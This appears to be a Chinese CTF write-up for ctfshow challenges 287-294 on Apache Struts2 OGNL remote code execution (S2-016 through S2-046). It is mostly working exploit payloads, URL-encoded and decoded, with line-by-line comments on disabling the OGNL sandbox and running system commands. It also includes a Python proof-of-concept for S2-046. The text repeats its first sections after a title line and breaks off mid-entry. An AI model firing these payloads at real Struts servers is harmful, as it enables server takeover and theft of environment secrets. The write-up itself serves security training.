web287S2-016GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传使用命令可以正常回显whoami,并且可以执行命令,直接查看环境即可命令执行在struts2中DefaultActionMapper类支持以action:、“redirect:”、redirectAction:作为导航或是重定向前缀但是这些前缀后面同时可以跟OGNL表达式由于struts2没有对这些前缀做过滤导致利用OGNL表达式调用java静态方法执行任意系统命令。所以访问https://aace0431-d2d5-4abd-ae47-7ebb5e112434.challenge.ctf.show/index.action?redirect:OGNL表达式即可执行OGNL表达式。default.action?redirect:%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22env%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D%0Adefault.action?redirect:${#context[xwork.MethodAccessor.denyMethodExecution]false,#f#_memberAccess.getClass().getDeclaredField(allowStaticMethodAccess),#f.setAccessible(true),#f.set(#_memberAccess,true),#ajava.lang.RuntimegetRuntime().exec(env).getInputStream(),#bnew java.io.InputStreamReader(#a),#cnew java.io.BufferedReader(#b),#dnew char[5000],#c.read(#d),#genxor#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse).getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()} //?redirect:${...} //利用 Struts2 的重定向参数注入。${} 告诉框架这是一个 OGNL对象图导航语言表达式需要被解析执行。 //#context[xwork.MethodAccessor.denyMethodExecution]false //攻击第一步解锁。 默认情况下为了安全Struts2 禁止 OGNL 调用某些方法。这一行将“拒绝方法执行”标志设置为 false。 //#f#_memberAccess.getClass().getDeclaredField(allowStaticMethodAccess) //通过反射获取 _memberAccess 对象中的 allowStaticMethodAccess 字段该字段控制是否允许调用静态方法。 //#f.setAccessible(true), #f.set(#_memberAccess,true) //权限突破。 强制将该字段设为可访问并将其值改为 true。这使得攻击者可以调用 Java 的静态方法如 Runtime.getRuntime()。 //#ajava.lang.RuntimegetRuntime().exec(env).getInputStream() //执行命令。 调用 Java 运行时的 exec 方法执行系统命令 env查看环境变量并获取该命令产生的输入流。 //#bnew java.io.InputStreamReader(#a), #cnew java.io.BufferedReader(#b) //将获取到的原始字节流层层封装包装成可以按行读取的字符缓冲流。 //#dnew char[5000], #c.read(#d) //创建一个 5000 字符容量的数组并将命令执行的结果读取到这个数组中。 //#genxor#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse).getWriter() //从当前上下文中获取 HTTP 响应对象的 Writer。这意味着攻击者想直接把结果写回到网页上。 //#genxor.println(#d), #genxor.flush(), #genxor.close() //将读取到的环境信息写入 HTTP 响应并关闭。此时攻击者只需刷新页面就能在浏览器里看到服务器的所有环境变量。web288S2-019GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传使用工具成功回显并且可以命令执行,直接查看环境命令执行动态方法调用是一种已知会施加可能的安全漏洞的机制但到目前为止它默认启用警告用户应尽可能将其关闭。这样就存在远程代码执行漏洞远程攻击者可利用此漏洞在受影响应用上下文中执行任意代码HelloWorld.action?debugcommandexpression%23a%3D%28new%20java.lang.ProcessBuilder%28%27env%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23out%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23out.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%23out.getWriter%28%29.flush%28%29%2C%23out.getWriter%28%29.close%28%29%0AHelloWorld.action?debugcommandexpression#a(new java.lang.ProcessBuilder(env)).start(),#b#a.getInputStream(),#cnew java.io.InputStreamReader(#b),#dnew java.io.BufferedReader(#c),#enew char[50000],#d.read(#e),#out#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse),#out.getWriter().println(new java.lang.String(#e)),#out.getWriter().flush(),#out.getWriter().close() //HelloWorld.action?debugcommandexpression... //利用 Struts2 的 debug 模式插件。当开发模式未关闭时攻击者可以通过 expression 参数直接向服务器注入 OGNL 表达式。 //#a(new java.lang.ProcessBuilder(env)).start() //实例化进程 这里没有直接用 Runtime.getRuntime().exec()而是使用了 ProcessBuilder。它创建并启动了一个执行 env列出系统环境变量的新进程。 //#b#a.getInputStream() //捕获输出流 获取该进程的标准输出流以便读取命令执行后的结果。 //#cnew java.io.InputStreamReader(#b), #dnew java.io.BufferedReader(#c) //数据转换 将字节流转换为字符流并放入缓冲区准备读取文本内容。 //#enew char[50000], #d.read(#e) //读取数据 开辟了一个巨大的字符数组50,000 字符一次性将命令结果存入内存。 //#out#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse) //定位响应通道 从 Struts2 的 ActionContext 中提取 HttpServletResponse 对象。这是为了能直接控制服务器返回给浏览器的内容。 //#out.getWriter().println(new java.lang.String(#e)) //回显结果 将命令执行的结果环境变量列表直接打印到 HTTP 响应体中。 //#out.getWriter().flush(), #out.getWriter().close() //强制发送 刷新缓冲区并关闭输出流。这会导致服务器立即切断正常的页面渲染只把命令结果吐出web289S2-029POST请求发送数据,需要参数; 默认参数:message; 支持任意命令执行和反弹shell使用工具依旧一件执行,都不用我配置参数都可以直接出flag命令执行Struts框架被强制执行时对分配给某些标签的属性值进行双重评估因此可以传入一个值当一个标签的属性将被渲染时该值将被再次评估例如代码执行过程大致为先尝试获取value的值如果value为空那么就二次解释执行了name。并且在执行前给name加上了”%{}”。最终造成二次执行影响版本2.0.0-2.3.24.1(除了2.3.20.3);default.action?message(%23_memberAccess[allowPrivateAccess]true,%23_memberAccess[allowProtectedAccess]true,%23_memberAccess[excludedPackageNamePatterns]%23_memberAccess[acceptProperties],%23_memberAccess[excludedClasses]%23_memberAccess[acceptProperties],%23_memberAccess[allowPackageProtectedAccess]true,%23_memberAccess[allowStaticMethodAccess]true,org.apache.commons.io.IOUtilstoString(java.lang.RuntimegetRuntime().exec(env).getInputStream()))default.action?message(#_memberAccess[allowPrivateAccess]true,#_memberAccess[allowProtectedAccess]true,#_memberAccess[excludedPackageNamePatterns]#_memberAccess[acceptProperties],#_memberAccess[excludedClasses]#_memberAccess[acceptProperties],#_memberAccess[allowPackageProtectedAccess]true,#_memberAccess[allowStaticMethodAccess]true,org.apache.commons.io.IOUtilstoString(java.lang.RuntimegetRuntime().exec(env).getInputStream())) //#_memberAccess[allowPrivateAccess]true //强制开启私有访问 默认情况下沙箱禁止 OGNL 访问 Java 对象的私有private成员。这一步将其强制设为 true。 //#_memberAccess[allowProtectedAccess]true //强制开启受保护访问 同上解锁对 protected 成员的访问权限。 //#_memberAccess[excludedPackageNamePatterns]#_memberAccess[acceptProperties] //清空包名黑名单 Struts2 会限制某些敏感包如 java.lang.*的执行。这里巧妙地将“排除包名单”指向了一个通常为空的属性acceptProperties从而绕过了包过滤。 //#_memberAccess[excludedClasses]#_memberAccess[acceptProperties] //清空类黑名单 同样的操作将禁止执行的类名单清空确保可以调用 Runtime 等危险类。 //#_memberAccess[allowPackageProtectedAccess]true //开启包保护访问 进一步扩大权限确保没有任何封装边界能阻挡表达式的执行。 //#_memberAccess[allowStaticMethodAccess]true //开启静态方法调用 这是执行 Runtime.getRuntime() 的核心前提。 //org.apache.commons.io.IOUtilstoString(...) //利用第三方库简化操作 没有手动写 BufferedReader 的循环读取而是利用了服务器自带的 Apache Commons IO 库。其中的 IOUtils.toString() 可以直接将命令输出流转换成字符串。 //java.lang.RuntimegetRuntime().exec(env).getInputStream() //终极目标 最终执行系统命令 env 并获取结果成功执行payload,获取flagweb290我们点击Create a new memo可以看到注入点S2-032GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell使用命令命令执行memocreate.action?method:%23_memberAccess%3dognl.OgnlContextDEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnewjava.util.Scanner(java.lang.RuntimegetRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toStringpp%5C%5CAppp%20encodingUTF-8cmdenvmemocreate.action?method:#_memberAccessognl.OgnlContextDEFAULT_MEMBER_ACCESS,#resorg.apache.struts2.ServletActionContextgetResponse(),#res.setCharacterEncoding(#parameters.encoding[0]),#w#res.getWriter(),#snew java.util.Scanner(java.lang.RuntimegetRuntime().exec(#parameters.cmd[0]).getInputStream()).useDelimiter(#parameters.pp[0]),#str#s.hasNext()?#s.next():#parameters.ppp[0],#w.print(#str),#w.close(),1?#xx:#request.toStringpp\\Appp encodingUTF-8cmdenv //method:#_memberAccessognl.OgnlContextDEFAULT_MEMBER_ACCESS //一键降级安全配置 这是最狠的一招。它不费力地去一个一个修改安全开关而是直接将当前上下文的 _memberAccess 替换为 OGNL 框架最原始、最宽松的默认配置DEFAULT_MEMBER_ACCESS。这瞬间撤销了 Struts2 所有的安全沙箱保护。 //#resorg.apache.struts2.ServletActionContextgetResponse() //获取响应句柄 拿到 HTTP 响应对象准备向客户端攻击者回传数据。 //#res.setCharacterEncoding(#parameters.encoding[0]) //动态设置编码 从 URL 参数 encoding 中读取值这里是 UTF-8确保回显的特殊字符不乱码。 //#w#res.getWriter() //开启输出流 获取字符输出流。 //#snew java.util.Scanner(...).useDelimiter(#parameters.pp[0]) //高效读取结果 //执行由参数 cmd 指定的命令这里是 env。 //使用 java.util.Scanner 读取结果。 //通过 pp 参数传入的 \\A正则表达式代表输入流的开头作为定界符。这意味着 Scanner 会一次性读取整个输入流的内容而不是一行行读。 //#str#s.hasNext()?#s.next():#parameters.ppp[0] //三元运算判断 如果命令有输出则取输出内容如果没有例如执行失败则返回参数 ppp 定义的空格。 //#w.print(#str), #w.close() //数据回显并断开 将命令执行结果发送给攻击者并强制关闭连接。 //1?#xx:#request.toString //收尾平衡 这是一个 OGNL 语法的小技巧用于确保整个表达式在逻辑上是合法的并能被正确解析执行。web291S2-033GET请求发送数据; 支持任意命令执行和反弹shell使用工具依旧任意命令执行命令执行根据官方的漏洞描述当开启动态方法调用并且同时使用了Strut2 REST Plugin插件时使用“!”操作符调用动态方法可能执行ognl表达式导致代码执行。https://46cc5952-49ec-445b-a2ce-b2e3218aad52.challenge.ctf.show//S2-033/orders/4/%23_memberAccess%3dognl.OgnlContextDEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3dorg.apache.commons.io.IOUtilstoString(java.lang.RuntimegetRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?objcom.opensymphony.xwork2.dispatcher.HttpServletResponsecontent2908commandenv#_memberAccessognl.OgnlContextDEFAULT_MEMBER_ACCESS,#xx123,#rsorg.apache.commons.io.IOUtilstoString(java.lang.RuntimegetRuntime().exec(#parameters.command[0]).getInputStream()),#wr#context[#parameters.obj[0]].getWriter(),#wr.print(#rs),#wr.close(),#xx.toString.json?objcom.opensymphony.xwork2.dispatcher.HttpServletResponsecontent2908commandenv //#_memberAccessognl.OgnlContextDEFAULT_MEMBER_ACCESS //作用 权限覆盖。 //原理 Struts2 为了安全通常会限制 OGNL 访问特定的受保护方法或私有变量。这行代码试图将当前上下文的访问权限重置为“默认允许”从而消除对执行敏感 Java 方法如执行系统命令的拦截。 //#xx123 //作用 占位符。 //原理 定义一个简单的变量通常用于后续链式调用的语法闭环或者测试表达式是否能正常解析。 //#rsorg.apache.commons.io.IOUtilstoString(...) //作用 执行命令并捕获输出。 //核心逻辑 //java.lang.RuntimegetRuntime().exec(#parameters.command[0])调用 Java 运行时环境执行 URL 参数中 command 传递的命令在此案例中是 env即查看环境变量。 //.getInputStream()获取该命令执行后的标准输出流。 //org.apache.commons.io.IOUtilstoString(...)利用 Apache Commons IO 工具类将二进制流转换成可读的字符串并存入变量 #rs。 //#wr#context[#parameters.obj[0]].getWriter() //作用 获取 HTTP 响应句柄。 //原理 从 Struts 上下文中找到 HTTP 响应对象通过参数 obj 传入即 HttpServletResponse并调用 getWriter() 准备向页面直接写数据。 //#wr.print(#rs),#wr.close() //作用 输出结果并结束响应。 //原理 将刚才存储在 #rs 中的命令执行结果环境变量信息打印到 HTTP 响应体中并关闭写入流。这会让攻击者直接在浏览器或 Postman 中看到命令回显。 //#xx.toString.json?obj...commandenv //作用 触发执行与参数传递。 //原理 末尾的 obj 和 command 是 URL 参数。代码通过这种方式解耦使得攻击者只需修改 URL 结尾的 command... 就可以执行不同的指令 参数。代码通过这种方web292S2-037GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell使用工具命令执行漏洞建立在033的基础上还是对method没有进行过滤导致的但是033的payload的要做转变才能检测 启用动态调用方法为true 支持rest插件 使用http://localhost:8080/bee/action-name/1/XXX这种请求方式其实XXX可以是任何合法的名字 。Struts2会查找XXX为名字的方法来调用比如请求http://localhost:8080/bee/test/1/abc那么TestAction的public String abc()就会被调用 。https://blog.csdn.net/qq_29277155/article/details/51693968http://468a8412-9ffb-4c5f-9e98-79c70288169a.challenge.ctf.show//S2-037/orders/3/(%23_memberAccess%3dognl.OgnlContextDEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3dorg.apache.commons.io.IOUtilstoString(java.lang.RuntimegetRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?objcom.opensymphony.xwork2.dispatcher.HttpServletResponsecontent16456commandenv(#_memberAccessognl.OgnlContextDEFAULT_MEMBER_ACCESS)?(#wr#context[#parameters.obj[0]].getWriter(),#rsorg.apache.commons.io.IOUtilstoString(java.lang.RuntimegetRuntime().exec(#parameters.command[0]).getInputStream()),#wr.println(#rs),#wr.flush(),#wr.close()):xx.toString.json?objcom.opensymphony.xwork2.dispatcher.HttpServletResponsecontent16456commandenv //(#_memberAccessognl.OgnlContextDEFAULT_MEMBER_ACCESS) //修改权限控制Struts 2 通常会限制对私有成员的访问。这行代码尝试将 OGNL 的成员访问策略重置为默认值从而绕过安全沙箱。 //? (...) : xx.toString.json //三元运算符这是一种逻辑结构。如果前面的权限修改成功则执行括号内的攻击指令否则返回一个无关紧要的字符串。 //#wr#context[#parameters.obj[0]].getWriter() //获取输出流通过参数 obj 传入的类名此处为 HttpServletResponse获取服务器的 HTTP 响应写入器。就能直接把命令执行结果写回网页。 //java.lang.RuntimegetRuntime().exec(#parameters.command[0]) //执行系统命令这是最危险的部分。它调用 Java 运行环境执行从 URL 参数 command 中获取的命令在这里是 env即查看环境变量 //org.apache.commons.io.IOUtilstoString(...) //处理结果使用 Apache Commons 工具类将命令执行后产生的二进制输入流InputStream转换成可读的字符串。 //#wr.println(#rs),#wr.flush(),#wr.close() //回显数据将执行结果写入 HTTP 响应流刷新缓冲区并关闭连接。能直接在浏览器或工具中看到命令回传的结果web293S2-045POST请求发送数据,不需要参数; 支持获取WEB路径,任意命令执行,反弹shell和文件上传使用工具命令执行可以使用恶意内容类型值执行RCE攻击。如果Content-Type值无效将引发异常然后使用该异常向用户显示错误消息。https://blog.csdn.net/u011721501/article/details/60768657%{(#nikemultipart/form-data).(#dmognl.OgnlContextDEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess#dm):((#container#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmdenv).(#iswin(java.lang.SystemgetProperty(os.name).toLowerCase().contains(win))).(#cmds(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#pnew java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process#p.start()).(#ros(org.apache.struts2.ServletActionContextgetResponse().getOutputStream())).(org.apache.commons.io.IOUtilscopy(#process.getInputStream(),#ros)).(#ros.flush())} //#dmognl.OgnlContextDEFAULT_MEMBER_ACCESS: 获取默认的成员访问权限。 //#container#context[...ActionContext.container]: 获取 Struts2 的内部容器实例。 //#ognlUtil.getExcludedPackageNames().clear(): 关键攻击步。Struts2 有一个“黑名单”禁止访问敏感的 Java 包如 java.lang.Runtime。这行代码直接清空了包黑名单。 //#ognlUtil.getExcludedClasses().clear(): 同上清空了类黑名单。 //#context.setMemberAccess(#dm): 将当前上下文的访问权限设为最高此时攻击者可以调用服务器上的任何 Java 类。 //#iswin(java.lang.SystemgetProperty(os.name)...contains(win)): 检查服务器是否为 Windows 系统 //#pnew java.lang.ProcessBuilder(#cmds): 使用 ProcessBuilder 创建系统进程。 //#p.redirectErrorStream(true): 将错误输出stderr合并到标准输出stdout确保无论命令成败攻击者都能看到反馈。 //#process#p.start(): 正式触发系统命令执行。 //#ros(org.apache.struts2.ServletActionContextgetResponse().getOutputStream()): 获取 Web 服务器的原始响应输出流。 //org.apache.commons.io.IOUtilscopy(...): 使用工具类将命令执行的结果直接“灌”进 HTTP 响应包中。web294S2-046POST请求发送数据,不需要参数; 支持获取WEB路径,任意命令执行,反弹shell和文件上传使用工具S2-046漏洞和S2-045漏洞很相似都是由于对Header某个字段信息处理发生异常错误信息连带着payload同过buildErrorMessage函数带入LocalizedTextUtil.findText造成的。 但是不同的是这次漏洞的触发点在Content-Length和Content-Disposition字段的filename中。参考链接https://xz.aliyun.com/t/221#!/usr/bin/env python # encoding:utf-8 import requests class Sugarcrm(): def poctest(self): boundary---------------------------735323031399963166993862150 paylaod%{(#nikemultipart/form-data).(#dmognl.OgnlContextDEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess#dm):((#container#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil#container.getInstance(com.opensymphony.xwork2.ognl.OgnlUtilclass)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmdenv).(#iswin(java.lang.SystemgetProperty(os.name).toLowerCase().contains(win))).(#cmds(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#pnew java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process#p.start()).(#ros(org.apache.struts2.ServletActionContextgetResponse().getOutputStream())).(org.apache.commons.io.IOUtilscopy(#process.getInputStream(),#ros)).(#ros.flush())} url http://0e43079f-a166-48e2-87ed-a79055208d2c.challenge.ctf.show/S2-046/doUpload.action headers {Content-Type: multipart/form-data; boundaryboundary} data --boundary\r\nContent-Disposition: form-data; name\foo\; filename\paylaod\0b\\r\nContent-Type: text/plain\r\n\r\nx\r\n--boundary-- rsrequests.post(url, headersheaders,datadata) print(rs.text) if __name__ __main__: test Sugarcrm() test.poctest()
ctfshow(web入门)287-294
web287S2-016GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传使用命令可以正常回显whoami,并且可以执行命令,直接查看环境即可命令执行在struts2中DefaultActionMapper类支持以action:、“redirect:”、redirectAction:作为导航或是重定向前缀但是这些前缀后面同时可以跟OGNL表达式由于struts2没有对这些前缀做过滤导致利用OGNL表达式调用java静态方法执行任意系统命令。所以访问https://aace0431-d2d5-4abd-ae47-7ebb5e112434.challenge.ctf.show/index.action?redirect:OGNL表达式即可执行OGNL表达式。default.action?redirect:%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22env%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D%0Adefault.action?redirect:${#context[xwork.MethodAccessor.denyMethodExecution]false,#f#_memberAccess.getClass().getDeclaredField(allowStaticMethodAccess),#f.setAccessible(true),#f.set(#_memberAccess,true),#ajava.lang.RuntimegetRuntime().exec(env).getInputStream(),#bnew java.io.InputStreamReader(#a),#cnew java.io.BufferedReader(#b),#dnew char[5000],#c.read(#d),#genxor#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse).getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()} //?redirect:${...} //利用 Struts2 的重定向参数注入。${} 告诉框架这是一个 OGNL对象图导航语言表达式需要被解析执行。 //#context[xwork.MethodAccessor.denyMethodExecution]false //攻击第一步解锁。 默认情况下为了安全Struts2 禁止 OGNL 调用某些方法。这一行将“拒绝方法执行”标志设置为 false。 //#f#_memberAccess.getClass().getDeclaredField(allowStaticMethodAccess) //通过反射获取 _memberAccess 对象中的 allowStaticMethodAccess 字段该字段控制是否允许调用静态方法。 //#f.setAccessible(true), #f.set(#_memberAccess,true) //权限突破。 强制将该字段设为可访问并将其值改为 true。这使得攻击者可以调用 Java 的静态方法如 Runtime.getRuntime()。 //#ajava.lang.RuntimegetRuntime().exec(env).getInputStream() //执行命令。 调用 Java 运行时的 exec 方法执行系统命令 env查看环境变量并获取该命令产生的输入流。 //#bnew java.io.InputStreamReader(#a), #cnew java.io.BufferedReader(#b) //将获取到的原始字节流层层封装包装成可以按行读取的字符缓冲流。 //#dnew char[5000], #c.read(#d) //创建一个 5000 字符容量的数组并将命令执行的结果读取到这个数组中。 //#genxor#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse).getWriter() //从当前上下文中获取 HTTP 响应对象的 Writer。这意味着攻击者想直接把结果写回到网页上。 //#genxor.println(#d), #genxor.flush(), #genxor.close() //将读取到的环境信息写入 HTTP 响应并关闭。此时攻击者只需刷新页面就能在浏览器里看到服务器的所有环境变量。web288S2-019GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传使用工具成功回显并且可以命令执行,直接查看环境命令执行动态方法调用是一种已知会施加可能的安全漏洞的机制但到目前为止它默认启用警告用户应尽可能将其关闭。这样就存在远程代码执行漏洞远程攻击者可利用此漏洞在受影响应用上下文中执行任意代码HelloWorld.action?debugcommandexpression%23a%3D%28new%20java.lang.ProcessBuilder%28%27env%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23out%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23out.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%23out.getWriter%28%29.flush%28%29%2C%23out.getWriter%28%29.close%28%29%0AHelloWorld.action?debugcommandexpression#a(new java.lang.ProcessBuilder(env)).start(),#b#a.getInputStream(),#cnew java.io.InputStreamReader(#b),#dnew java.io.BufferedReader(#c),#enew char[50000],#d.read(#e),#out#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse),#out.getWriter().println(new java.lang.String(#e)),#out.getWriter().flush(),#out.getWriter().close() //HelloWorld.action?debugcommandexpression... //利用 Struts2 的 debug 模式插件。当开发模式未关闭时攻击者可以通过 expression 参数直接向服务器注入 OGNL 表达式。 //#a(new java.lang.ProcessBuilder(env)).start() //实例化进程 这里没有直接用 Runtime.getRuntime().exec()而是使用了 ProcessBuilder。它创建并启动了一个执行 env列出系统环境变量的新进程。 //#b#a.getInputStream() //捕获输出流 获取该进程的标准输出流以便读取命令执行后的结果。 //#cnew java.io.InputStreamReader(#b), #dnew java.io.BufferedReader(#c) //数据转换 将字节流转换为字符流并放入缓冲区准备读取文本内容。 //#enew char[50000], #d.read(#e) //读取数据 开辟了一个巨大的字符数组50,000 字符一次性将命令结果存入内存。 //#out#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse) //定位响应通道 从 Struts2 的 ActionContext 中提取 HttpServletResponse 对象。这是为了能直接控制服务器返回给浏览器的内容。 //#out.getWriter().println(new java.lang.String(#e)) //回显结果 将命令执行的结果环境变量列表直接打印到 HTTP 响应体中。 //#out.getWriter().flush(), #out.getWriter().close() //强制发送 刷新缓冲区并关闭输出流。这会导致服务器立即切断正常的页面渲染只把命令结果吐出web289S2-029POST请求发送数据,需要参数; 默认参数:message; 支持任意命令执行和反弹shell使用工具依旧一件执行,都不用我配置参数都可以直接出flag命令执行Struts框架被强制执行时对分配给某些标签的属性值进行双重评估因此可以传入一个值当一个标签的属性将被渲染时该值将被再次评估例如代码执行过程大致为先尝试获取value的值如果value为空那么就二次解释执行了name。并且在执行前给name加上了”%{}”。最终造成二次执行影响版本2.0.0-2.3.24.1(除了2.3.20.3);default.action?message(%23_memberAccess[allowPrivateAccess]true,%23_memberAccess[allowProtectedAccess]true,%23_memberAccess[excludedPackageNamePatterns]%23_memberAccess[acceptProperties],%23_memberAccess[excludedClasses]%23_memberAccess[acceptProperties],%23_memberAccess[allowPackageProtectedAccess]true,%23_memberAccess[allowStaticMethodAccess]true,org.apache.commons.io.IOUtilstoString(java.lang.RuntimegetRuntime().exec(env).getInputStream()))default.action?message(#_memberAccess[allowPrivateAccess]true,#_memberAccess[allowProtectedAccess]true,#_memberAccess[excludedPackageNamePatterns]#_memberAccess[acceptProperties],#_memberAccess[excludedClasses]#_memberAccess[acceptProperties],#_memberAccess[allowPackageProtectedAccess]true,#_memberAccess[allowStaticMethodAccess]true,org.apache.commons.io.IOUtilstoString(java.lang.RuntimegetRuntime().exec(env).getInputStream())) //#_memberAccess[allowPrivateAccess]true //强制开启私有访问 默认情况下沙箱禁止 OGNL 访问 Java 对象的私有private成员。这一步将其强制设为 true。 //#_memberAccess[allowProtectedAccess]true //强制开启受保护访问 同上解锁对 protected 成员的访问权限。 //#_memberAccess[excludedPackageNamePatterns]#_memberAccess[acceptProperties] //清空包名黑名单 Struts2 会限制某些敏感包如 java.lang.*的执行。这里巧妙地将“排除包名单”指向了一个通常为空的属性acceptProperties从而绕过了包过滤。 //#_memberAccess[excludedClasses]#_memberAccess[acceptProperties] //清空类黑名单 同样的操作将禁止执行的类名单清空确保可以调用 Runtime 等危险类。 //#_memberAccess[allowPackageProtectedAccess]true //开启包保护访问 进一步扩大权限确保没有任何封装边界能阻挡表达式的执行。 //#_memberAccess[allowStaticMethodAccess]true //开启静态方法调用 这是执行 Runtime.getRuntime() 的核心前提。 //org.apache.commons.io.IOUtilstoString(...) //利用第三方库简化操作 没有手动写 BufferedReader 的循环读取而是利用了服务器自带的 Apache Commons IO 库。其中的 IOUtils.toString() 可以直接将命令输出流转换成字符串。 //java.lang.RuntimegetRuntime().exec(env).getInputStream() //终极目标 最终执行系统命令 env 并获取结果成功执行payload,获取flagweb290我们点击Create a new memo可以看到注入点S2-032GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell使用命令命令执行memocreate.action?method:%23_memberAccess%3dognl.OgnlContextDEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnewjava.util.Scanner(java.lang.RuntimegetRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toStringpp%5C%5CAppp%20encodingUTF-8cmdenvmemocreate.action?method:#_memberAccessognl.OgnlContextDEFAULT_MEMBER_ACCESS,#resorg.apache.struts2.ServletActionContextgetResponse(),#res.setCharacterEncoding(#parameters.encoding[0]),#w#res.getWriter(),#snew java.util.Scanner(java.lang.RuntimegetRuntime().exec(#parameters.cmd[0]).getInputStream()).useDelimiter(#parameters.pp[0]),#str#s.hasNext()?#s.next():#parameters.ppp[0],#w.print(#str),#w.close(),1?#xx:#request.toStringpp\\Appp encodingUTF-8cmdenv //method:#_memberAccessognl.OgnlContextDEFAULT_MEMBER_ACCESS //一键降级安全配置 这是最狠的一招。它不费力地去一个一个修改安全开关而是直接将当前上下文的 _memberAccess 替换为 OGNL 框架最原始、最宽松的默认配置DEFAULT_MEMBER_ACCESS。这瞬间撤销了 Struts2 所有的安全沙箱保护。 //#resorg.apache.struts2.ServletActionContextgetResponse() //获取响应句柄 拿到 HTTP 响应对象准备向客户端攻击者回传数据。 //#res.setCharacterEncoding(#parameters.encoding[0]) //动态设置编码 从 URL 参数 encoding 中读取值这里是 UTF-8确保回显的特殊字符不乱码。 //#w#res.getWriter() //开启输出流 获取字符输出流。 //#snew java.util.Scanner(...).useDelimiter(#parameters.pp[0]) //高效读取结果 //执行由参数 cmd 指定的命令这里是 env。 //使用 java.util.Scanner 